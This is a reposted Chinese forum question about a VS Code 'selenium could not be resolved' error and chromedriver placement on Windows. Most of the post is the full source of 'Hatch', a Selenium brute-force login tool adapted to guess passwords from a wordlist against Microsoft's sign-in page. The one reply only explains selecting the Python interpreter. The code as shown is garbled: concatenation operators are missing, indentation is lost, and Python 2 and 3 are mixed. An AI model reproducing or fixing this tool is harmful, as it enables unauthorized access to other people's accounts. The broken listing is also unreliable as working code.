我正在用 VS 代碼編輯一個檔案。VS 代碼給出以下錯誤:Import "selenium" could not be resolved Pylance (reportMissingImports).
這是來自 metachar 的代碼:
# Coded and based by METACHAR/Edited and modified for Microsoft by Major
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
# Graphics
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
CWHITE = '\33[37m'
# Config#
parser = OptionParser()
now = datetime.datetime.now()
# Args
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()
CHROME_DVR_DIR = '/home/major/Hatch/chromedriver'
# Setting up Brute-Force function
def wizard():
print (banner)
website = raw_input(color.GREEN color.BOLD '\n[~] ' color.CWHITE 'Enter a website: ')
sys.stdout.write(color.GREEN '[!] ' color.CWHITE 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
try:
request = requests.get(website)
if request.status_code == 200:
print (color.GREEN '[OK]' color.CWHITE)
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
print (color.RED '[!]' color.CWHITE 'User used Ctrl-c to exit')
exit()
except:
t.sleep(1)
print (color.RED '[X]' color.CWHITE)
t.sleep(1)
print (color.RED '[!]' color.CWHITE ' Website could not be located make sure to use http / https')
exit()
password_selector = '#i0118'
login_btn_selector = '#idSIButton9'
pass_list = raw_input(color.GREEN '[~] ' color.CWHITE 'Enter a directory to a password list: ')
brutes(password_selector,login_btn_selector,pass_list, website)
# Execute Brute-Force function
def brutes(password_selector,login_btn_selector,pass_list, website):
f = open(pass_list, 'r')
driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1
browser = webdriver.Chrome(CHROME_DVR_DIR)
while True:
try:
for line in f:
browser.get(website)
t.sleep(1)
Sel_pas = browser.find_element_by_css_selector(password_selector)
enter = browser.find_element_by_css_selector(login_btn_selector)
Sel_pas.send_keys(line)
t.sleep(2)
print ('------------------------')
print (color.GREEN 'Tried password: ' color.RED line color.GREEN)
print ('------------------------')
temp = line
except KeyboardInterrupt:
exit()
except selenium.common.exceptions.NoSuchElementException:
print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
print ('LAST PASS ATTEMPT BELLOW')
print (color.GREEN 'Password has been found: {0}'.format(temp))
print (color.YELLOW 'Have fun :)')
exit()
banner = color.BOLD color.RED '''
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \\
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
{0}[{1}-{2}]--> {3}V.1.0
{4}[{5}-{6}]--> {7}coded by Metachar
{8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1
if options.passsel == None:
if options.loginsel == None:
if options.passlist == None:
if options.website == None:
wizard()
password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print (banner)
brutes(password_selector,login_btn_selector,pass_list, website)
我已經下載了windows chromedriver。我不知道我必須把它放在我的電腦上。有誰知道我必須把它放在哪里以及如何解決這個錯誤。當我在 Linux 中嘗試時,我沒有收到錯誤。我將 chromedriver 放在與 python 檔案相同的目錄中。當我在 Windows 中執行完全相同的操作時,它不起作用。誰能幫我嗎?
uj5u.com熱心網友回復:
PyLance 查找“selenium”python 包,但在配置的 python 安裝中找不到它。由于您使用的是 VSCode,因此請確保您已正確配置了 python 擴展。當您.py在 VSCode 中打開檔案時,您應該會在左側下方的狀態欄中看到一個 python 設定。選擇您已安裝 selenium 的安裝,PyLance 將找到您的匯入。
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/436841.html
上一篇:org.openqa.selenium.StaleElementReferenceException:元素未附加到頁面檔案
